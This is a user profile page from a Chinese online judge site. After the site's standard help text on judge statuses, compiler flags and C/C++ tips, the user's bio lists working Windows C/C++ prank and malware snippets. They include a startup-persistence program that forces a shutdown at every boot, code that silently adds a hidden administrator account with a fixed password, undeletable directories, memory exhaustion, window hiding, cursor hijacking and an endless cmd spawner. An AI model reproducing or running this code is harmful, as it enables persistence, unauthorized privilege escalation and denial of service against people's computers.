-
个人简介
天气好好啊~~~ac
列表:
- Waiting 评测:评测请求正在等待被评测机抓取
- Fetched 评测:评测请求已被评测机抓取,正在准备开始评测
- Compiling 评测:正在编译中
- Judging 评测:编译成功,正在评测中
- Accepted 通过:程序输出完全正确
- Wrong Answer 不通过:程序输出与标准答案不一致(不包括行末空格以及文件末空行)
- Time Limit Exceeded 不通过:程序运行时间超过了题目限制
- Memory Limit Exceeded 不通过:程序运行内存空间超过了题目限制
- Runtime Error 不通过:程序运行时错误(如数组越界、被零除、运算溢出、栈溢出、无效指针等)
- Compile Error 不通过:编译失败
- System Error 错误:系统错误(如果您遇到此问题,请及时在讨论区进行反馈)
- Canceled 其他:评测被取消
- Unknown Error 其他:未知错误
- Ignored 其他:被忽略
域
每个用户可以创建自己的域。比如,老师可以为课程创建一个域,然后把题目和学生加入到此域中。再如,可以把域作为团队功能。
通过合理的设置角色及其权限,可以把域设为公开或私有。
默认域为 system,用户直接访问 XMW OJ 域名就会访问此域,点击 Hydro Logo 会从任意域跳转回 system 域。
每个域的题库、讨论、训练以及比赛是独立且自治的。
限制
XMW OJ 评测机使用进程的CPU时间计算时间消耗,时间的限定为题目中评测点所指定的时间。
XMW OJ 评测机使用进程虚拟内存与物理内存总和计算内存空间消耗。内存空间默认限定为256MiB,题目中特别指明的,限定为题目中评测点所指定的内存空间。
输入输出
若无特殊说明,XMW OJ 使用标准输入输出(控制台输入输出,屏幕输入输出,STD I/O)。
编译器版本及参数
XMW OJ 使用 HydroJudge 进行评测,编译参数如下:
- C(c)
/usr/bin/gcc -Wall --std=c99 -o foo foo.c -lm
- C++(cc)
/usr/bin/g++ -Wall -std=c++11 -o foo foo.cc -lm
- C++ 98(cc.std98)
/usr/bin/g++ -Wall -std=c++98 -o foo foo.cc -lm
- C++ 11(cc.std11)
/usr/bin/g++ -Wall -std=c++11 -o foo foo.cc -lm
- C++ 17(cc.std17)
/usr/bin/g++ -Wall -std=c++17 -o foo foo.cc -lm
- Pascal(pas)
/usr/bin/fpc -O2 -o/w/foo foo.pas
- Java(java)
/usr/bin/javac -d /w -encoding utf8 ./Main.java
- Python(py)
/usr/bin/python -c "import py_compile; py_compile.compile('/w/foo.py', '/w/foo', doraise=True)"
- Python 2(py.py2)
/usr/bin/python -c "import py_compile; py_compile.compile('/w/foo.py', '/w/foo', doraise=True)"
- Python 3(py.py3)
/usr/bin/python3 -c "import py_compile; py_compile.compile('/w/foo.py', '/w/foo', doraise=True)"
- PHP(php)
/usr/bin/php foo.php
- Rust(rs)
/usr/bin/rustc -O -o /w/foo /w/foo.rs
- Haskell(hs)
/usr/bin/ghc -O -outputdir /tmp -o foo foo.hs
- Javascript (JSC)(js)
/usr/bin/jsc /w/foo.js
- Golang(go)
/usr/bin/go build -o foo foo.go
- Ruby(rb)
/usr/bin/ruby foo.rb
- Csharp(cs)
/usr/bin/mcs -optimize+ -out:/w/foo /w/foo.cs
- Julia(jl)
/usr/bin/julia /w/foo.jl
编译错误
可能有以下情况:
-
- 递交时选错了编程语言
-
- Java 的主类名没有使用 "Main"
-
- 对于 C/C++:见下
-
- 一般性的编译错误
对 C/C++ 选手的特别提醒:
-
- __int64 在 GNU C++ 中应写成 long long 类型
-
- main() 返回值必须定义为 int ,而不是 void
-
- for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效
-
- itoa 不是一个通用 ANSI 函数(标准 C/C++ 中无此函数)
-
- printf 中使用 %lf 格式是不正确的
- ! . 有“成绩取消”字样则说明管理员手动标记此记录为取消,可能违反了服务条款,比如代码被发现与其他用户的代码十分相似。
开机即关机
提示:操作启动项,可能被杀毒软件拦截
#include <stdio.h> #include <windows.h> #include <Shlobj.h> #pragma comment(lib, "shell32.lib") BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName) { char szStartupPath[MAX_PATH] = { 0 }; char szDestFilePath[MAX_PATH] = { 0 }; SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE); wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName); CopyFile(lpszSrcFilePath, szDestFilePath, FALSE); return TRUE; } int main(int argc, char * argv[]) { AutoRun_Startup("c://main.exe", "main.exe"); system("shutdown /p"); return 0; }
添加用户
提示:可能被杀毒软件拦截
#include <stdio.h> #include <assert.h> #include <windows.h> #include <lm.h> #pragma comment(lib,"netapi32") void AddUser(LPWSTR UserName, LPWSTR Password) { USER_INFO_1 user; user.usri1_name = UserName; user.usri1_password = Password; user.usri1_priv = USER_PRIV_USER; user.usri1_home_dir = NULL; user.usri1_comment = NULL; user.usri1_flags = UF_SCRIPT; user.usri1_script_path = NULL; if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success) printf("创建用户完成 \n"); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname = user.usri1_name; if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success) printf("添加到组完成 \n"); } void EnumUser() { LPUSER_INFO_0 pBuf = NULL; LPUSER_INFO_0 pTmpBuf; DWORD dwLevel = 0; DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0; DWORD i; NET_API_STATUS nStatus; LPTSTR pszServerName = NULL; do { nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (i = 0; (i < dwEntriesRead); i++) { assert(pTmpBuf != NULL); if (pTmpBuf == NULL) { break; } wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf); pTmpBuf++; } } } if (pBuf != NULL) { NetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); NetApiBufferFree(pBuf); } int main(int argc, char *argv[]) { AddUser(L"lyshark", L"123123"); EnumUser(); system("pause"); return 0; }
禁用任务管理器、注册表
提示:可能被杀毒软件拦截
#include <stdio.h> #include <windows.h> int main() { DWORD value = 1; HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); return 0; }
不可删除文件
#include <stdio.h> #include <shlobj.h> #include <windows.h> BOOL SetImmunity(char *FilePath,char *FileName) { char file[2048] = { 0 }; strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); BOOL bRet = CreateDirectory(file, NULL); if (bRet) { strcat(file, "\\anti...\\"); bRet = CreateDirectory(file, NULL); if (bRet) { SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN); return TRUE; } } return FALSE; } void ClearImmunity(char *FilePath, char *FileName) { char file[2048] = { 0 }; strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); strcat(file, "\\anti...\\"); RemoveDirectory(file); ZeroMemory(file, MAX_PATH); strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); RemoveDirectory(file); } int main(int argc, char * argv[]) { char *Fuck[4] = { "你", "好", "世", "界" }; int FuckLen = sizeof(Fuck) / sizeof(int); TCHAR Destop[MAX_PATH]; SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); for (int x = 0; x < FuckLen; x++) { SetImmunity("c://", Fuck[x]); } system("pause"); return 0; }
卡死
警告:Windows高版本可能没有作用
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1)malloc(1000); }
15秒后关机
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { system("shutdown -s -t 15"); }
使鼠标乱飞
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1) { SetCursorPos(rand()%1000,rand()%1000); } }
使鼠标所点应用消失
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1) { HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE); } }
无限生成cmd
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1)system("start cmd"); }
桌面壁纸
#include <stdio.h> #include <windows.h> int main() { DWORD value = 1; HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); return 0; }
-
通过的题目
-
最近活动
题目标签
- 初窥门径
- 14
- 循环嵌套
- 6
- GESP二级
- 6
- 顺序结构
- 5
- 略有小成
- 5
- 循环结构
- 4
- 字符串
- 4
- 分支结构
- 3
- 搜索
- 3
- 枚举
- 3
- 电子学会三级
- 3
- 驾轻就熟
- 3
- 一本通编程启蒙
- 3
- 模拟
- 2
- 月赛语法
- 2
- 蓝桥杯
- 1
- 递归
- 1
- 贪心
- 1
- 连续性问题
- 1
- 条件分支
- 1